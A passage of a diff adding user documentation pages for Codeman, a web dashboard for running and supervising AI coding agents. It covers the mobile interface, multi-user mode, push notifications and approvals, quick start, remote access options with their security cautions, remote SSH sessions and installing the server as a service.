+Layout respects notch and home-indicator safe areas, touch targets are 44px, and the case
+picker is a bottom sheet rather than a dropdown.
+
+**Swipe left and right** on the terminal to switch sessions.
+
+## The home screen
+
+Tapping the "C" logo gives a session overview rather than a welcome page:
+
+1. **NEEDS YOU** first: sessions blocked on a question, with answer strips so you can
+   resolve them without opening the session.
+2. **CURRENT SESSIONS** with live status.
+3. **PAST SESSIONS**, resumable.
+
+Row status uses the same language as the tabs: green when fine, pulsing while working,
+yellow when waiting for input, red when a question is pending.
+
+The split Run button carries the same per-backend colours as the desktop toolbar, and its
+picker mirrors the desktop run-mode menu.
+
+On by default; it can be turned off in settings.
+
+## The keyboard accessory bar
+
+A row of keys above the virtual keyboard, and what it contains depends on the session.
+
+**Agent sessions** get quick actions: `/init`, `/clear`, `/compact`, a clipboard key, `Esc`,
+a path picker, an image key, and 🧠 when Read My Mind is on. Destructive commands need a
+double press, so you cannot fire `/clear` with a stray thumb.
+
+**Shell sessions** automatically swap it for terminal controls: `Ctrl`, `Esc`, `Tab`, four
+arrows, paste, and dismiss. Your normal preference is remembered and restored when you
+switch back to an agent session, so a settings change during a shell session cannot strip
+the bar away permanently.
+
+### One-shot Ctrl
+
+`Ctrl` on the shell bar is a **one-shot modifier**: tap `Ctrl`, then tap `c`, and the
+control byte is sent. It disarms on use, on a second tap, on any other accessory key, on a
+session switch, and when the keyboard closes.
+
+That list matters. A modifier left armed turns your next innocent keystroke into a control
+byte, so it is deliberately eager to disarm. Keys with no control equivalent pass through
+unchanged, exactly like a hardware keyboard.
+
+## The Enter button
+
+The toolbar's dedicated **Enter** button exists because of local echo. On a phone, the
+characters you type are painted locally and have not reached the agent yet; Enter flushes
+them and then submits.
+
+It replays the keypress through the terminal rather than sending a bare carriage return.
+Sending a bare `\r` would submit an empty line and strand your typed text on screen, which
+looks exactly like a dead button.
+
+On phones this button replaces the desktop's **Run Shell** control; starting a shell moved
+into the Run dropdown.
+
+## Tapping, links and copying
+
+- **Tap a link** in terminal output and it opens in a new tab. Same for a link in an agent's
+  answer in the response viewer — it opens a tab rather than navigating the dashboard away,
+  which on a phone would unload the whole session view.
+- **Tap a file path** an agent printed and the file-preview overlay opens; a log path opens the
+  log viewer. Works in scrolled-up transcript too.
+- A tap on the prose *beside* a link still places the cursor as usual, and a tap on a dialog's
+  numbered choice still answers the dialog even when the row contains a path — the dialog wins,
+  because on a phone it is the only interaction that matters.
+- **Long-press to select text**, then drag, or tap the other end to extend the selection — no
+  hairline handles to grab. A small bar offers **Copy**, **Line** (the whole logical line,
+  wrapped rows included) and dismiss. Copy works on plain-HTTP installs too, where the browser
+  clipboard API is unavailable.
+- A swipe is never mistaken for a long-press, and the keyboard stays down while you select.
+
+## Scrolling and the keyboard
+
+- The terminal and toolbar shift up when the keyboard opens, tracked through the browser's
+  visual viewport rather than guessed.
+- **Two ways to dismiss the keyboard**: tap outside the terminal on inert space, or tap twice
+  on inert terminal content. Tapping a control never dismisses it, and tapping the prompt row
+  keeps focus so you can place the caret.
+- A scroll is never mistaken for a tap: travel is measured from the start of the gesture, and
+  multi-touch never counts.
+- **A long prompt stays visible.** Once what you are typing wraps past the last visible row it
+  grows upward over the transcript instead of sliding under the keyboard, so the end of the
+  sentence — where the cursor is — is always on screen. A prompt taller than the visible strip
+  shows its tail.
+
+## Voice
+
+The microphone button, or the keyboard bar. Providers and setup are covered in
+[Input And Voice](Input-And-Voice). Dictating is often faster than typing a prompt on a
+phone, and it is the main reason the feature exists.
+
+## Notifications
+
+Push notifications reach you with no tab open, and with the Approvals Inbox on they carry
+**Approve** and **Deny** buttons handled by the service worker, so you can unblock an agent
+from the lock screen.
+
+Setup in [Notifications And Approvals](Notifications-And-Approvals).
+
+## Reading long answers
+
+The terminal viewport is small. **Last Response** (opt-in header button) renders the agent's
+last answer as scrollable text instead, with a **More** button for additional context.
+
+The [File Viewer](Working-With-Files) works on phones too, including edit mode, which is
+enough to fix a typo an agent introduced while you are away from your desk.
+
+## What is deliberately not on phones
+
+- Extra header buttons. New header controls are kept off phones by policy, with a test that
+  enforces it.
+- The Approvals bell. Phones get the NEEDS YOU strips on the home screen instead.
+- The desktop home tab rail, which needs a wide window.
+- Lineage arcs, which are a desktop overlay.
+
+## Gotchas
+
+- **Typed text sitting on screen has not been sent.** Press Enter.
+- **iOS needs the home screen install for push**, not just a bookmark.
+- **iOS Safari can serve stale JavaScript after an update** until the tab is fully closed.
+  Close it and reopen.
+- **Plain HTTP over a LAN address disables voice and push.** Use HTTPS.
+- **An armed `Ctrl` is visibly highlighted.** If it looks the same as a resting key, you are
+  on an old version, on a light skin.

+# Multi-User Mode
+
+Share one Codeman with a small trusted team. Each person gets their own login and workspace,
+and sessions, cases, search, and live events are scoped to their owner.
+
+**Off by default.** Without the flag, behaviour is identical to single-user Codeman, because
+every scoping check short-circuits.
+
+## Read this before enabling it
+
+**Multi-user mode separates workspaces. It does not sandbox users from each other.**
+
+Every session still runs as the **same operating system account**. A determined user's agent
+can reach another user's files, because at the OS level they are the same user. This is a
+convenience and organization feature, not a security boundary.
+
+If you need real isolation:
+
+- Pair each user with [Docker Cases](Docker-Cases), which gives their work its own
+  filesystem and network.
+- Or run separate Codeman instances under separate OS accounts, each with its own
+  `CODEMAN_INSTANCE`.
+
+"Small trusted team" is the honest description of who this is for.
+
+## Enabling it
+
+```bash
+codeman users add alice --admin      # create the first admin, prompts for a password
+codeman web --multiuser              # or CODEMAN_MULTIUSER=1
+```
+
+Then manage users from the CLI or the **Users** entry in App Settings:
+
+```bash
+codeman users add bob                # a regular user
+codeman users list
+codeman users passwd bob             # reset to a one-time password
+codeman users rm bob
+```
+
+`--password-stdin` reads the password from standard input, for scripts.
+
+Accounts live in `~/.codeman/users.json` with scrypt-hashed passwords, mode 0600.
+Administrative actions are audited to `~/.codeman/admin-audit.jsonl`.
+
+## What each user gets
+
+| Thing               | Scope                                                                        |
+| ------------------- | ---------------------------------------------------------------------------- |
+| **Case space**      | `~/codeman-users/<name>/cases`, their own.                                    |
+| **Sessions**        | Only theirs are listed, reachable, or controllable.                           |
+| **Events**          | Live event routing is per owner, and fails closed.                            |
+| **Search**          | Scoped on read, including historical results.                                 |
+| **File previews**   | Scoped to sessions they own.                                                  |
+| **Path picker**     | Only their own user space as a root, not the whole home directory.            |
+
+Admins see everything.
+
+Ownership threads through every list endpoint, the session lookup helper, the WebSocket
+layer, and file previews. A user cannot address another user's session even by id.
+
+## Safer defaults for regular users
+
+Non-admins get tighter defaults, and lifting them is an explicit per-user grant:
+
+| Default                            | Meaning                                                                  |
+| ---------------------------------- | ------------------------------------------------------------------------ |
+| Claude runs in `auto` permission mode | Anthropic's classifier-guarded mode instead of skip-prompts.           |
+| Raw shell sessions require a grant  | A plain shell is unmediated machine access.                              |
+| Skip-permissions requires a grant   | Same reasoning.                                                          |
+| Cron `launchCommand` requires a grant | It is an arbitrary command on a schedule.                              |
+| Pi project trust defaults to off    | Trust makes Pi execute repo-local TypeScript.                            |
+
+These exist because the OS boundary is shared. They narrow what a normal account can do
+casually; they do not make the account a sandbox.
+
+## Accounts and sessions
+
+Each user authenticates with their own name and password rather than the shared
+`CODEMAN_PASSWORD`. Logins are individually revocable: disable, reset, or delete an account
+at any time, and existing browser sessions can be revoked.
+
+## Gotchas
+
+- **Enabling it does not migrate existing cases** into a user space. They stay where they
+  are, owned by whoever the ownership rules resolve them to.
+- **Admins see everything**, including other users' sessions. Choose admins accordingly.
+- **The audit log is append-only and local.** Ship it somewhere if you care about it.
+- **It is not a substitute for OS accounts.** Restating this because it is the one thing
+  people get wrong.

+# Notifications and Approvals
+
+An agent that stops to ask a question, with nobody watching, is a run that quietly wasted an
+hour. This page covers every way Codeman tells you it needs you, and how to answer without
+opening the session.
+
+## The signals, cheapest first
+
+| Surface                | Reaches you                                       | Default |
+| ---------------------- | ------------------------------------------------- | ------- |
+| Tab alert              | While the dashboard is open                        | On      |
+| Browser title flash    | Another tab in the same browser                    | On      |
+| Desktop notification   | Another window on the same machine                 | Opt-in  |
+| Push notification      | Anywhere, even with no tab open                    | Opt-in  |
+| Approvals Inbox        | One queue across every session                     | Opt-in  |
+| Phone overview         | Phone home screen, NEEDS YOU section               | On      |
+| Away Digest            | Afterwards, as a summary                           | Opt-in  |
+
+## Tab alerts
+
+The tab itself changes state:
+
+| State                | Meaning                                                    |
+| -------------------- | ---------------------------------------------------------- |
+| Yellow, blinking     | The agent is waiting for input from you.                    |
+| Red, blinking        | A question or permission prompt is blocking the session.    |
+
+These are a steady colour with a pulse layered on top, not a blink to transparent, so a tab
+needing attention looks that way at every point in the cycle.
+
+They survive a reload. The alert state is re-seeded from the server on page load, so
+reloading the dashboard while a permission dialog is blocking a session does not leave you
+with a normal-looking tab.
+
+For Claude sessions, these come from Claude Code's hooks and are precise about *why* the
+session stopped. For other CLIs there are no hooks, so you get the coarser output-based
+signal.
+
+## Window title and OS notifications
+
+The browser tab title is prefixed `codeman:<host>`, so several Codeman instances across
+several machines stay distinguishable at a glance. Override the hostname with
+`codeman web --title-hostname <name>`.
+
+Desktop notifications use the same prefix. Enable them in **App Settings → Notifications**.
+
+## Push notifications
+
+Push reaches your phone with **no Codeman tab open at all**, which is the only option that
+works while you are actually away.
+
+Setup:
+
+1. Open Codeman over **HTTPS**. Web push requires a secure context. Tailscale gives you real
+   HTTPS; `--https` gives you a self-signed certificate; plain HTTP over a LAN address will
+   not work.
+2. **App Settings → Notifications → Subscribe**, and accept the browser prompt.
+3. On **iOS**, add Codeman to your home screen first. Safari only delivers web push to
+   installed web apps, not to tabs.
+
+Once subscribed, a blocking prompt reaches your phone even from a locked screen.
+
+## The Approvals Inbox
+
+**Opt-in, off by default. Claude sessions only.**
+
+One queue of every prompt currently waiting on a human, across all your sessions, answerable
+in place. When you have eight workers running, this is the difference between checking eight
+tabs and checking one list.
+
+Turn it on in **App Settings**. Surfaces:
+
+- **A header bell** with a count, hidden entirely while the count is zero. Never shown on
+  phones.
+- **A drawer** listing each waiting card.
+- **NEEDS YOU strips** at the top of the phone overview home screen.
+
+Each card shows the session, the case, and the captured prompt with its options. Answering
+sends the keystroke into the session for you: a digit for a menu choice, Escape to decline,
+or free text for an idle prompt.
+
+Behaviour worth knowing:
+
+- **One item per session.** A newer prompt supersedes the older one, because the older one
+  is no longer on screen.
+- **Menu answers are validated against the live screen.** Codeman re-captures the pane before
+  sending, and refuses with a conflict if the dialog is no longer there. Otherwise your
+  keystroke would land in the composer as stray text.
+- **Permission and question items clear only on definitive signals**: the turn ending, the
+  dialog completing, an answer, a supersede, the session exiting, or a 12 hour timeout. They
+  do not clear on a heuristic "looks busy again" signal, because that signal is wrong often
+  enough to lose a real prompt.
+- **In memory only.** Restarting the server clears the queue; the prompts themselves are
+  still sitting in the sessions.
+
+### Approve and Deny from the notification
+
+With the inbox enabled, push notifications carry **Approve** and **Deny** buttons. Those are
+handled by the service worker directly, so they work with no tab open: tap Approve on a
+locked phone and the agent continues.
+
+With the inbox off, the buttons are stripped from the notification payload entirely rather
+than being shown and failing.
+
+## The phone overview
+
+On phones, tapping the "C" logo gives a session overview with **NEEDS YOU** first, then
+current sessions, then past ones. Rows use the same language as the tab strip: a green dot
+when fine, pulsing while working, yellow when waiting for input, red when a question is
+pending.
+
+Answer strips let you resolve a prompt straight from the home screen without opening the
+session.
+
+## The Away Digest
+
+Retrospective rather than live: what happened while you were gone, aggregated from the
+lifecycle log, run summaries, live sessions, token statistics, and recent subagents.
+
+It is the morning-after view for an overnight run. Enable its header button in
+**App Settings → Header & Panels**.
+
+## Recommended setup for unattended runs
+
+1. HTTPS access, ideally Tailscale. See [Remote Access](Remote-Access).
+2. Push notifications subscribed, with Codeman installed to the home screen on iOS.
+3. Approvals Inbox on.
+4. Auto-resume on usage limit on, for each session you leave running. See
+   [Keeping Agents Running](Keeping-Agents-Running).
+
+That combination means a blocking question wakes your phone and can be answered in two taps
+from the lock screen.
+
+## Gotchas
+
+- **No push over plain HTTP.** It is a browser requirement, not a Codeman one.
+- **iOS needs the home screen install.** A Safari tab will never receive push.
+- **The bell is invisible at zero.** That is deliberate, not a broken setting.
+- **Approvals are Claude-only.** They are built on hook events the other CLIs do not emit.
+- **A stale menu answer is refused, not sent.** If you answer a card for a dialog that has
+  since gone away, Codeman declines rather than typing a digit into the composer.

+# Quick Start
+
+From an installed Codeman to a working agent, in about five minutes. If you have not
+installed yet, start at [Installation](Installation).
+
+## 1. Start the server
+
+```bash
+codeman web
+```
+
+It prints a URL, `http://localhost:3000` by default. Open it.
+
+The server binds `127.0.0.1` only, so this URL works from the machine running it and
+nowhere else. That is deliberate: Codeman starts agents with permission prompts skipped by
+default, so anyone who can reach the dashboard can run code on this machine. Reaching it
+from your phone is a separate, deliberate step covered in [Remote Access](Remote-Access).
+
+To keep it alive after you close the terminal, use `codeman web -d` instead, or install it
+as a service. See [Running As A Service](Running-As-A-Service).
+
+## 2. Meet the welcome screen
+
+With no sessions running you get the welcome screen:
+
+- **Run buttons** for each agent CLI Codeman found on your PATH. If you expected one and it
+  is missing, its binary is not visible to the server; see [Agent CLIs](Agent-CLIs).
+- **A QR code**, if a password is set. Scanning it logs a phone in without typing anything.
+- **Resume Conversation**, a list of past sessions, including Claude conversations started
+  outside Codeman. Empty on a fresh install.
+- **Search**, across sessions, events, and files.
+
+You can click a Run button right now and get a working agent in your current case. The rest
+of this page is the deliberate version.
+
+## 3. Pick or create a case
+
+A **case** is a named working directory that Codeman remembers. Every session runs inside
+one. The case picker is in the bottom toolbar.
+
+To make a new one, click **+** next to the picker. The Add Case dialog has three tabs:
+
+| Tab               | Use it when                                                                                                        |
+| ----------------- | ------------------------------------------------------------------------------------------------------------------ |
+| **Create New**    | Starting a fresh project. Creates `~/codeman-cases/<name>` and scaffolds a `CLAUDE.md` into it.                     |
+| **Clone Repo**    | Working on an existing public repo. Paste the URL; Codeman preflights it as you type, offers the repo's real branches and tags, and fills in the case name. |
+| **Link Existing** | The code is already on disk. Point at the folder, with **Browse** if you would rather click than type.               |
+
+The gear next to the picker holds two per-case toggles: **Agent Teams** and
+**1M Opus Context**. Both are off by default and both are safe to ignore for now.
+
+**Create New** also has a checkbox for running the case inside a Docker container, and a
+**Remote** panel for running it over SSH on another machine. Those are
+[Docker Cases](Docker-Cases) and [Remote SSH Sessions](Remote-SSH-Sessions); skip them for
+your first session.
+
+## 4. Pick a run mode and hit Run
+
+The **Run** button starts an agent in the selected case. The arrow next to it picks which
+one:
+
+| Mode                 | What starts                                                    |
+| -------------------- | -------------------------------------------------------------- |
+| **Claude Code**      | The default, and the mode every Codeman feature supports.       |
+| **OpenCode**         |                                                                 |
+| **Codex**            | OpenAI's CLI.                                                   |
+| **Gemini**           | Enterprise only since Google's consumer cutover.                |
+| **Antigravity**      | Google's successor to the consumer Gemini CLI.                  |
+| **Pi**               | No permission prompts and no sandbox by design.                 |
+| **Terminal / Shell** | A plain shell, no agent. Also the **Run Shell** button.          |
+
+The dropdown also lists any saved dashboard URLs ([Web Tabs](Web-Tabs)) and your recent
+sessions. Those do not change the run mode: Run always means "start an agent".
+
+Click **Run**. A tab appears, and Codeman spawns the CLI on a real PTY inside a tmux
+session and streams it to your browser.
+
+The number spinner beside the button starts several sessions at once, up to 20. Useful for
+fanning the same case out across parallel workers; unnecessary for a first run.
+
+## 5. Talk to the agent
+
+Click into the terminal and type. It is a real terminal (xterm.js over a real PTY), so full
+TUIs render properly and everything the CLI supports works, slash commands included.
+
+| Key                          | Effect                                        |
+| ---------------------------- | --------------------------------------------- |
+| `Enter`                      | Send.                                          |
+| `Shift+Enter` / `Ctrl+Enter` | Newline without sending.                       |
+| `Ctrl+C`                     | Copy if text is selected, otherwise interrupt. |
+| `Ctrl+Shift+V`               | Voice input.                                   |
+
+You can also paste or drag an image straight into the session, and register external files
+as attachments. See [Working With Files](Working-With-Files) and
+[Input And Voice](Input-And-Voice).
+
+Input is delivered **exactly once**, even if your connection drops mid-prompt. A dropped
+link never loses a prompt and never sends it twice.
+
+## 6. Read the tab
+
+The tab tells you what the session is doing without opening it:
+
+| Signal                | Meaning                                                    |
+| --------------------- | ---------------------------------------------------------- |
+| Green dot             | Alive and idle.                                             |
+| Pulsing green dot     | Working on a turn.                                          |
+| Yellow, blinking      | Waiting for you to type something.                          |
+| Red, blinking         | A question or permission prompt is blocking the agent.      |
+
+Full tour in [The Dashboard](The-Dashboard). If you want a phone notification when an agent
+needs you, that is [Notifications And Approvals](Notifications-And-Approvals).
+
+## 7. Leave, and come back
+
+Close the browser tab. Close the laptop. The agent keeps running, because it lives in tmux
+and not in your browser.
+
+Reopen the dashboard and the session is still there with its scrollback intact. First load
+of a session pulls the full tmux scrollback, so you get the history, not just what arrived
+after you reconnected.
+
+This also survives restarting the Codeman server itself. What does not survive is killing
+the tmux server or rebooting the machine.
+
+## 8. Stop things
+
+| To do this                | Do that                                                             |

+# Remote Access
+
+Reaching your Codeman from a phone, a laptop on the other side of the house, or a hotel
+network. This is the page to read carefully, because Codeman's dashboard is a
+remote-code-execution surface by design: it starts agents with permission prompts skipped,
+so whoever can reach it can run code on your machine.
+
+## Start from the default
+
+`codeman web` binds `127.0.0.1`. It is reachable from the machine running it and nothing
+else, which is why the no-password default is safe out of the box. Every option below is a
+deliberate step away from that.
+
+Two rules that make the rest of this page simple:
+
+1. **Never expose Codeman on a network without `CODEMAN_PASSWORD`.** Binding a non-loopback
+   host without one starts, but prints a loud warning with the fixes.
+2. **Prefer keeping the loopback bind** and putting an authenticated tunnel in front of it,
+   over binding wide and relying on a password alone.
+
+## Pick an approach
+
+| Approach              | Good for                                              | Cost                                                      |
+| --------------------- | ----------------------------------------------------- | --------------------------------------------------------- |
+| **Tailscale**         | Phone access, permanently. The recommended setup.      | Install Tailscale on both devices.                         |
+| **Cloudflare tunnel** | A public URL, quickly, from anywhere.                  | Public URL, so a password is mandatory.                    |
+| **LAN + password**    | Home network only, no extra software.                  | Every device on your LAN can reach the login page.         |
+| **SSH port forward**  | You already SSH to the box.                            | Manual, per session, terminal-bound.                       |
+
+## Tailscale (recommended)
+
+Your devices join a private network, and Codeman stays bound to loopback. Nothing is
+published to the internet, and you get real HTTPS with a real certificate.
+
+The installer sets this up for you, including installing Tailscale, logging in, enabling
+tailnet HTTPS, and verifying the result end to end. To retrofit it onto an existing
+install:
+
+```bash
+install.sh tailscale
+```
+
+By hand:
+
+```bash
+tailscale serve --bg 3000
+tailscale serve status
+```
+
+Then open `https://<machine>.<tailnet>.ts.net` from any device on your tailnet.
+
+Notes:
+
+- Keep the loopback bind. `tailscale serve` connects to `127.0.0.1:3000` locally, so
+  binding wider adds exposure and buys nothing.
+- Your tailnet is the authentication boundary. Setting `CODEMAN_PASSWORD` as well is
+  reasonable defence in depth, especially if other people have devices on your tailnet.
+- Codeman's Host-header allowlist already accepts `.ts.net`, so no extra configuration is
+  needed.
+- The installer never resets or rewrites `serve` mappings other than the one pointing at
+  Codeman's port, so unrelated serve configuration is left alone.
+
+## Cloudflare tunnel
+
+A free [quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/)
+gives you a public HTTPS URL with no port forwarding, no DNS, and no static IP:
+
+```
+Browser → Cloudflare edge (HTTPS) → cloudflared → localhost:3000
+```
+
+Prerequisites: [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/)
+installed, and `CODEMAN_PASSWORD` set.
+
+```bash
+./scripts/tunnel.sh start     # starts the tunnel, prints the public URL
+./scripts/tunnel.sh url
+./scripts/tunnel.sh status
+./scripts/tunnel.sh stop
+```
+
+The quick-tunnel URL is a random `*.trycloudflare.com` address that changes every time the
+tunnel restarts. For a stable hostname, `./scripts/tunnel.sh named setup` walks through a
+named tunnel.
+
+To survive reboots:
+
+```bash
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+```
+
+There is also a toggle in **App Settings → System → Remote access**.
+
+**The tunnel refuses to start without a password.** That is on purpose: a public URL with no
+authentication is a terminal on your machine handed to the internet. Acknowledging the risk
+explicitly is possible from the UI toggle, and only from there; the API will not do it for
+you.
+
+## LAN plus password
+
+```bash
+export CODEMAN_PASSWORD='something long'
+codeman web -H 0.0.0.0 --https
+```
+
+Every device on your local network can now reach the login page. `--https` generates a
+self-signed certificate into `~/.codeman/certs/`, which your browser will warn about once.
+
+`CODEMAN_USERNAME` defaults to `admin`.
+
+The installer offers this path and prompts for the password. On re-runs it preserves
+whichever binding you already chose.
+
+## SSH port forward
+
+No configuration at all, if you already have SSH access:
+
+```bash
+ssh -L 3000:localhost:3000 you@your-box
+```
+
+Then open `http://localhost:3000` on the local machine. Codeman keeps its loopback bind and
+sees a local connection. Good for occasional access, awkward as a permanent arrangement
+because it dies with the SSH session.
+
+## Logging in from a phone
+
+Typing a long password on a phone keyboard is miserable, so Codeman issues **single-use QR
+tokens**. The desktop dashboard shows a QR code; scan it and the phone is authenticated.
+
+How it behaves:
+
+- The code rotates every 60 seconds, with a 90 second grace window so scanning during a
+  rotation still works.
+- Each token is **single use**. The moment a phone consumes it, a new one is generated.
+- The URL contains a 6-character lookup code, not the secret, so it does not leak through
+  browser history, `Referer` headers, or the tunnel provider's logs.
+- The desktop shows a toast naming the device and browser that just authenticated, with a
+  one-click revoke.
+- QR attempts are rate limited separately from password attempts, so a mistyped password
+  cannot lock out your QR login and vice versa.
+
+Someone holding only the tunnel URL still meets the normal password prompt. The QR is the
+fast path, not a bypass.
+
+Design detail and the threat analysis it is built against:
+[`docs/qr-auth-plan.md`](https://github.com/Ark0N/Codeman/blob/master/docs/qr-auth-plan.md).
+
+## Behind a reverse proxy
+
+Codeman enforces a Host-header allowlist on every request to block DNS rebinding, and the
+same allowlist gates the cross-site Origin check. It accepts `localhost`, IP literals, the
+bind host, `.ts.net`, `.trycloudflare.com`, `.cfargotunnel.com`, and the active managed
+tunnel.
+
+**Your own domain is not on that list.** Add it:
+
+```bash
+CODEMAN_ALLOWED_HOSTS='codeman.example.com,.internal.example.com'
+```
+
+A bare entry matches that exact host; a leading dot matches subdomains. Without this, a
+correctly configured proxy still gets `403 host not allowed`, which reads like a proxy bug
+and is not one.
+
+Also make sure the proxy forwards WebSocket upgrades. The terminal is a WebSocket, and the
+upgrade runs the same Host and Origin checks, closing with code `4003` on failure.
+
+## Session cookies and rate limits
+
+The first request prompts for HTTP Basic credentials. On success the server issues an opaque
+`codeman_session` cookie (24 hour lifetime, extended on activity, validated server-side so
+it cannot be forged offline). Ten failed attempts from one IP produce a `429` with a 15
+minute decay.
+
+A valid cookie or a correct password recovers immediately even while an attacker is hammering
+the same IP, which matters because all tunnel traffic arrives from one loopback address.
+
+## Terminal alternatives
+
+You do not have to use a browser. `sc` is a thumb-friendly session chooser for SSH clients
+like Termius or Blink:
+
+```bash
+sc          # interactive chooser
+sc 2        # attach to session 2
+sc -l       # list
+```
+
+Detach with `Ctrl+A D`. The sessions are the same ones the dashboard shows.
+
+## Common problems
+
+| Symptom                                                     | Cause and fix                                                                                          |
+| ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| `403 host not allowed`                                       | Your domain is not in the allowlist. Set `CODEMAN_ALLOWED_HOSTS`.                                       |
+| Phone shows the login page but the terminal never connects   | The proxy is not forwarding WebSocket upgrades.                                                         |
+| Browser warns about the certificate                          | Expected with `--https` and its self-signed certificate. Tailscale gives you a real one instead.        |
+| LAN IP does not respond, but a tunnel to the same box works  | The server is bound to loopback. That is the default. A tunnel reaches it; a LAN browser cannot.        |
+| Hooks stopped working after switching to HTTPS               | Hook callbacks need `-k` for the self-signed certificate. Recent versions self-heal existing cases; if yours predates that, recreate the case's hooks. |
+| Everything is slow over the tunnel                           | Quick tunnels route through Cloudflare's edge. Tailscale is usually a direct connection and much faster. |

+# Remote SSH Sessions
+
+Point a case at another machine and the agent runs **there**, with the same dashboard,
+mobile UI, and autonomy features. Your laptop becomes a window onto a session living on the
+remote host.
+
+Like Docker, this is a **location overlay** on a case, not a run mode. All seven run modes
+work remotely. See [Core Concepts](Core-Concepts).
+
+## Why bother
+
+The agent runs where the work is: a build server, a NAS, a GPU box, a machine reachable only
+through a jump host. Your laptop can sleep, change networks, or close, and the run continues.
+
+## Setting it up
+
+**Add Case → Remote**:
+
+| Field                 | Notes                                                                |
+| --------------------- | -------------------------------------------------------------------- |
+| **Host**              | Hostname or IP.                                                       |
+| **Username**          | The SSH user.                                                         |
+| **Port**              | Defaults to 22.                                                       |
+| **Identity file**     | `~` and `$HOME` are expanded for you.                                 |
+| **Jump host**         | The `-J` equivalent, `[user@]host[:port]`.                            |
+| **SOCKS proxy**       | For hosts reachable only through a proxy.                             |
+| **Extra SSH options** | Any `KEY=VALUE` options your normal connection needs.                 |
+| **Remote path**       | The working directory on that machine.                                |
+
+Hosts are saved and reusable, so a second case on the same machine is just a path. Host
+profiles can also carry per-run-mode launch command overrides, for when the binary lives
+somewhere unusual on that host.
+
+The remote host needs **tmux**. Codeman probes for it when you link the host rather than
+failing later at launch.
+
+## What actually runs
+
+The agent lives inside a dedicated tmux server on the **remote** host, and Codeman fronts it
+with a local tmux pane running `ssh`.
+
+That two-layer arrangement is what makes it durable: a dropped SSH connection, a network
+change, or a closed laptop kills the local pane, not the remote session. Reconnecting lands
+back in the same live conversation.
+
+The remote session name is deliberately chosen so that a Codeman **running on the target
+host** will not adopt it as one of its own. Two Codemans, one host, no interference.
+
+## Auto-reconnect
+
+A watcher with bounded backoff notices a dead SSH pane and quietly reattaches to the still
+running remote session. On by default; the kill switch is in
+**App Settings → Agents & CLIs → Remote auto-reconnect**.
+
+Intentional kills are never revived. Closing a session means closing it.
+
+## Discover and attach
+
+Codeman can list the `codeman-*` sessions already running on a host, whether that machine's
+own Codeman started them or another operator did, and attach to one.
+
+The distinction that matters:
+
+| Session      | On tab close                                    |
+| ------------ | ------------------------------------------------ |
+| **Launched** | Killed, like any local session.                  |
+| **Attached** | **Detached, never killed.**                      |
+
+Attaching to someone else's session and closing your tab must not end their run, so it does
+not. Several clients can attach the same remote session at different window sizes without
+clamping each other, and discovery shows a shared badge with the client count.
+
+## Security
+
+Every SSH command line in Codeman flows through one builder that shell-escapes every
+user-supplied field: identity paths, jump hosts, proxy commands, and extra options. That is
+the entire injection surface, and it is deliberately a single function rather than string
+concatenation spread across the codebase.
+
+Host, path, and identity fields are schema-validated on top of that.
+
+Codeman does not store SSH passwords. Use keys, as you would for any other automation.
+
+## Gotchas
+
+- **The remote host needs tmux.** Probed at link time, so you find out immediately.
+- **The local working directory is meaningless** for a remote session, and is not used.
+- **Run flows must go through the quick-start path** for remote cases. This matters if you
+  are driving Codeman over the API: the plain session-create endpoint validates the working
+  directory locally and has no case concept, so it will reject or misroute a remote case.
+- **Latency is SSH latency.** Local echo helps the typing feel, but a slow link is a slow
+  link.
+- **Transcript-backed features follow the transcript.** Subagent windows and similar surfaces
+  read files on the machine where the agent runs.

+# Running As A Service
+
+Keeping Codeman up: past the shell you started it in, past a logout, past a reboot. Plus
+logs, updates, and running more than one instance.
+
+## Three levels
+
+| Level                | Survives                                  | Command                   |
+| -------------------- | ----------------------------------------- | ------------------------- |
+| Foreground           | Nothing. Dies with the terminal.           | `codeman web`             |
+| Detached             | Closing the shell and logging out.         | `codeman web -d`          |
+| Service              | Reboots.                                   | `codeman service install` |
+
+Agents themselves survive all three, because they live in tmux. Stopping the server never
+stops the agents.
+
+## Detached mode
+
+```bash
+codeman web -d          # start detached; logs to ~/.codeman/web.log
+codeman web --status    # is it up, and on which pid
+codeman web --stop      # graceful stop; agents keep running
+```
+
+`-d` waits until the server actually answers before reporting success, so a port clash never
+reads as a successful start.
+
+Two implementation details that explain the behaviour:
+
+- It relaunches the same entry script detached, so there is no controlling terminal and no
+  shell job entry. `nohup` is **not** what makes this work: Node re-arms the hangup signal to
+  its default even when it inherits "ignore", and Codeman handles that signal with a graceful
+  shutdown, so a delivered hangup would still stop the server.
+- `--stop` verifies the process still looks like a Codeman server before signalling it,
+  because process ids get recycled.
+
+**It refuses to start a second server on the same data directory.** Two servers sharing a
+tmux socket attach to each other's live sessions.
+
+## Installing as a service
+
+```bash
+codeman service install     # systemd user unit on Linux, LaunchAgent on macOS
+codeman service status
+codeman service uninstall
+```
+
+The installer's final menu offers this too.
+
+Notable behaviours:
+
+- **Your PATH is baked into the unit.** launchd hands a job
+  `/usr/bin:/bin:/usr/sbin:/sbin`, which finds neither a Homebrew or nvm `node` nor `tmux`
+  or `claude`. This is the single most common cause of a hand-written unit that starts and
+  immediately dies.
+- **`CODEMAN_PASSWORD` is never written into the unit file.** Add it yourself if the service
+  needs authentication.
+- **It refuses when a server is already running** on that data directory, for the same reason
+  detached mode does.
+- **It verifies rather than assumes.** `launchctl load` and a clean spawn are both silent
+  about a server that starts and immediately exits, so the parent polls until the child
+  answers or dies.
+
+On Linux, if you want the service running while you are not logged in:
+
+```bash
+loginctl enable-linger $USER
+```
+
+### Writing the unit by hand
+
+**Linux (systemd user unit):**
+
+```bash
+mkdir -p ~/.config/systemd/user
+cat > ~/.config/systemd/user/codeman-web.service << EOF
+[Unit]
+Description=Codeman Web Server
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
+Restart=always
+RestartSec=10
+
+[Install]
+WantedBy=default.target
+EOF
+systemctl --user daemon-reload
+systemctl --user enable --now codeman-web
+loginctl enable-linger $USER
+```
+
+**macOS (LaunchAgent):**
+
+```bash
+mkdir -p ~/Library/LaunchAgents
+cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
